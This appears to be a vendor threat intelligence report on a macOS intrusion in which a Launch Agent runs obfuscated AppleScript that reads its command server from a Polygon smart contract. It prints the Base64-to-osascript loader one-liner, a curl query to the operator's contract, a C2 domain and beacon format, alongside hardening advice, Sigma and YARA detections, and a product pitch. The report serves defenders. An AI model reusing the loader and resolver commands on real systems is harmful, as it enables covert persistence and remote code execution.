-min.webp)
Classification: TLP:CLEAR (formerly TLP:WHITE). Freely shareable. Network indicators are defanged. On-chain identifiers and wallet addresses are public blockchain data and are retained intact. No victim-identifying data is included in this report.
A burst of macOS endpoint detections fired on a single workstation at a rate of one cluster per hour across an eight-hour window. The host ran under a standard developer account. Each cluster represented one execution of a Launch Agent that decoded and ran an obfuscated AppleScript payload.
The payload implemented an EtherHiding resolver. On each run it queried a Polygon smart contract for the current C2 domain, sent a beacon to that domain, and executed the returned second stage through osascript. The operator controlled the C2 by writing new values to the contract, which we observed rotating roughly weekly.
Analysis at machine speed. Prophet Security auto-dispositioned every detection in this cluster as malicious with no analyst intervention, then reconstructed the full attack chain, including the decoded loader, the on-chain resolver, the complete C2 rotation history recovered from the contract, and the operator wallet cluster, in under ten minutes. Performed manually, that same reconstruction has historically taken a seasoned analyst hours of pivoting across block explorers, link-analysis tooling such as Maltego, and hand-decoded payloads. Compressing that work to minutes is the difference between catching an active, hourly-beaconing implant during the intrusion and reading about it afterward.
The remainder of this report follows the activity through the ATT&CK tactics, then provides a timeline, a Diamond Model, hardening guidance, indicators, and detections.
{{ebook-cta}}
Initial access is assessed with moderate confidence as social engineering consistent with fake-interview tradecraft. Some evidence indicates the user downloaded and executed a malicious shell script shortly after joining an AWS Chime meeting, and the download and execution preceded the Launch Agent persistence described below. This sequence, a target brought onto a video call and then directed to run attacker-supplied code under the guise of a technical setup, environment check, or troubleshooting step, matches publicly reported DPRK-nexus "Contagious Interview" activity, in which the meeting platform is used to establish trust before the target is instructed to execute the payload. We treat the meeting platform as the social-engineering channel rather than a vulnerability in the platform itself.
The Launch Agent invoked a shell one-liner that decoded a Base64 blob and piped the result into the AppleScript interpreter:
/bin/bash -c "echo '<base64>' | base64 -d | osascript"The decoded content was AppleScript in which every string literal was rebuilt from ASCII character, character id, and string id fragments. This obfuscation defeats plaintext string matching and conceals the RPC endpoints, the contract address, and the function selectors from static inspection of the decoded script.
Persistence was a Launch Agent plist written under the user context:
~/Library/LaunchAgents/com.<random-string>.plist
The plist set RunAtLoad and KeepAlive to true and specified an hourly execution interval. The label appeared randomly generated per host. In telemetry, creation surfaced as an osascript to sh to bash chain writing the plist via a heredoc, after which launchd became the parent of the recurring executions. A daemon variant of this technique executes at boot in a privileged context.
Two layers of evasion were present. First, the payload was Base64 encoded at rest inside the plist and decoded only at execution. Second, the decoded AppleScript was character-code obfuscated as described above. The net effect is that the operational details of the implant, including where it fetches its C2 address, never appear in a readable form on disk or in a single command line.
This is the core of the intrusion and the reason the activity is notable.
The EtherHiding resolver. On each execution the implant iterated over several public Polygon RPC providers and issued a read-only eth_call to the operator's contract, decoding the hex return value into a domain:
curl -s --max-time 15 https://<POLYGON_RPC> -X POST \
-H 'Content-Type: application/json' \
--data '{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0","data":"0x2686ecea"},"latest"],"id":1}'It then sent a POST containing a static campaign beacon identifier to the recovered domain and piped the response straight into osascript, yielding remote code execution. The C2 address is therefore rotatable on demand and never resident in the binary.
An evolution of the DNS TXT dead drop. For years, attackers have stashed C2 addresses and payload fragments in DNS TXT records, then read them back with an ordinary-looking DNS query. EtherHiding keeps that dead-drop pattern and removes its weak points. A DNS TXT dead drop still depends on attacker-controlled domains and nameservers that can be sinkholed, suspended, or blocked. A blockchain dead drop has no attacker-owned resolver to seize. The value is served by many independent RPC nodes, reads are free and unsigned so the malware holds no key, and the operator updates the value with a single signed transaction while victims read passively. In ATT&CK terms both are Dead Drop Resolver (T1102.001); EtherHiding simply moves the drop onto an immutable public ledger.
On-chain reconstruction. Because writes to the contract are permanent and public, the contract is the most durable artifact in the operation, and we reconstructed the operator's activity without any attacker cooperation.
Decoding the input data of all setter transactions produced the complete chronological history of every domain the operator published. Early entries pointed at well-known legitimate sites and are best read as test or decoy values written before the infrastructure went live. The operational entries were disposable, DGA-style domains: short, random alphanumeric labels on low-cost top-level domains such as .xyz, .pro, .site, .surf, and .guru. Rotation was roughly weekly and accelerating.
Post-analysis rotation. Reading the contract is a keyless, read-only operation, so it can be repeated safely at any time to obtain the current C2 before it is used. When we re-queried the getter after the investigation, the stored value had already changed to a domain not observed during analysis, 67sixcebeh[.]surf, confirmed identical across two independent public RPC nodes. This is the intended payoff of monitoring the contract: the operator rotated at least once in the days following analysis, and the new domain was recoverable in advance rather than after victims had already beaconed to it.
Operator wallet cluster. The funding path of the deploying wallet produced two independent malice signals. The EtherHiding mechanism has no legitimate use in this context, and the funding chain traced back through a distribution hub to a wallet already carrying a public phishing label on a major block explorer. The two operator wallets shared a vanity address prefix, a reasonable same-actor indicator. The pattern of long-lived shared infrastructure, weekly rotation, and a funded wallet cluster indicates an operation in which any single victim is one of several.
The contract's public write history yields the following infrastructure timeline.
Endpoint activity on the day of the intrusion followed this sequence.
Web and DNS policy filtering. In most enterprises there is no legitimate business reason for general users to reach public blockchain RPC providers from corporate devices using company accounts. Block the RPC provider domains outright at the secure web gateway or DNS filter, and block the blockchain and cryptocurrency web categories for the general population. Where a defined engineering or web3 team has a genuine need, scope an allow exception to that group and to sanctioned processes, then alert on access from anyone else and from non-browser processes.
Egress control. Restrict outbound traffic to known-good destinations where feasible, and alert on scripting interpreters such as osascript, bash, or curl initiating external connections. Interpreter-driven egress to internet infrastructure is rarely benign on a workstation.
Execution control. Flag bash to base64 to osascript chains, restrict osascript execution of dynamically decoded content, enforce Gatekeeper and notarization, and use application control to limit which binaries may spawn interpreters.
Persistence monitoring. Alert on new plists in ~/Library/LaunchAgents, /Library/LaunchAgents, and /Library/LaunchDaemons, especially those that execute shell or interpreter chains. Manage these locations with an MDM configuration profile where possible.
Least privilege. Reduce standing administrator rights. The technique used osascript "do shell script with administrator privileges," which depends on a session able to elevate.
Endpoint posture. Confirm endpoint protection is in prevention or block mode, not detect-only, for the relevant behavioral rules. A detect-only posture surfaces the activity but does not stop the hourly beacon. How the resulting endpoint alerts get investigated determines whether the beacon is caught on the first cluster or the eighth.
User awareness. Reinforce that developers should not execute pasted shell commands or run untrusted projects, scripts, or "setup steps" supplied by unsolicited contacts, including during recruiting or interview calls. This is the common initial-access path for this class of activity.
The following on-chain identifiers are public blockchain data and are retained intact.
These are legitimate Polygon RPC providers abused for the C2 lookup. Block outright where no population has a business need. Where a sanctioned team exists, scope an exception and alert on all other access, especially from non-browser processes.
The second stage is requested with a POST carrying a static campaign identifier of the form txid=<32-hex>&bmodule. Useful as a network detection pivot. Do not transmit or replay it against any host.
title: macOS Base64 Payload Decoded and Executed via osascript
status: experimental
description: Detects a shell decoding a base64 blob and piping the result into osascript, an execution pattern used by EtherHiding macOS implants.
logsource:
product: macos
category: process_creation
detection:
selection:
Image|endswith:
- '/bash'
- '/sh'
- '/zsh'
CommandLine|contains|all:
- 'base64'
- 'osascript'
condition: selection
falsepositives:
- Uncommon developer tooling that decodes and runs AppleScript
level: high
tags:
- attack.execution
- attack.t1059.002
- attack.t1140
title: macOS Launch Agent Plist Writing an osascript or base64 Chain
status: experimental
description: Detects creation of a Launch Agent or Daemon plist that executes a bash, base64, or osascript chain, consistent with obfuscated macOS persistence.
logsource:
product: macos
category: file_event
detection:
selection:
TargetFilename|contains:
- '/Library/LaunchAgents/'
- '/Library/LaunchDaemons/'
TargetFilename|endswith: '.plist'
condition: selection
falsepositives:
- Legitimate software installers that register Launch Agents
level: medium
tags:
- attack.persistence
- attack.t1543.001
- attack.t1543.004title: Scripting Interpreter eth_call to Blockchain RPC Provider
status: experimental
description: Detects a scripting interpreter issuing an eth_call to a public blockchain RPC provider, the resolver step of EtherHiding C2.
logsource:
product: macos
category: process_creation
detection:
selection:
Image|endswith:
- '/curl'
- '/bash'
- '/sh'
- '/zsh'
- '/osascript'
CommandLine|contains|all:
- 'eth_call'
- 'jsonrpc'
selection_selector:
CommandLine|contains: '0x2686ecea'
condition: selection or selection_selector
level: high
tags:
- attack.command_and_control
- attack.t1102.001rule EtherHiding_macOS_LaunchAgent_Loader
{
meta:
description = "Obfuscated macOS EtherHiding loader: base64 payload piped to osascript, delivered via a Launch Agent plist"
author = "Prophet Security"
tlp = "CLEAR"
reference = "EtherHiding macOS C2"
date = "2026-07-21"
strings:
$decode_exec1 = "base64 -d | osascript" ascii
$decode_exec2 = "base64 --decode | osascript" ascii
// base64 of "set __", the start of the char-code-obfuscated AppleScript
$applescript_b64 = "c2V0IF9f" ascii
$pa = "ProgramArguments" ascii
$la = "LaunchAgents" ascii
$osa = "osascript" ascii
$echo = "echo '" ascii
condition:
any of ($decode_exec*)
or ($applescript_b64 and $osa)
or ($pa and $la and $echo and $osa)
}rule EtherHiding_macOS_OnChain_Resolver
{
meta:
description = "EtherHiding Polygon C2 resolver: eth_call to the operator contract and getter selector"
author = "Prophet Security"
tlp = "CLEAR"
reference = "EtherHiding macOS C2"
date = "2026-07-21"
strings:
$contract = "0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0" ascii nocase
$getter = "0x2686ecea" ascii nocase
$ethcall = "eth_call" ascii
$beacon = "&bmodule" ascii
condition:
$contract
or ($getter and $ethcall)
or ($ethcall and $beacon)
}Note: the YARA rules are intended for scanning decoded payloads, extracted scripts, and process memory. The at-rest plist stores the AppleScript Base64 encoded, so the $applescript_b64 anchor (c2V0IF9f, the Base64 of set __) is what ties the two representations together.
Alert on HTTPS request bodies to blockchain RPC providers containing the contract address 0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0 or the getter selector data value 0x2686ecea. Alert on DNS resolution of any operational C2 domain listed above, and on beacon requests carrying the txid=<32-hex>&bmodule parameter.
The observed activity maps to the following ATT&CK techniques.
Prophet AI reconstructed this attack chain, from the first endpoint detection to the on-chain C2 history, autonomously and in minutes. To see how it investigates every alert in your environment with that depth, request a demo.
This guide breaks down how AI SOC agents work and how to build an agile security operation around agentic AI

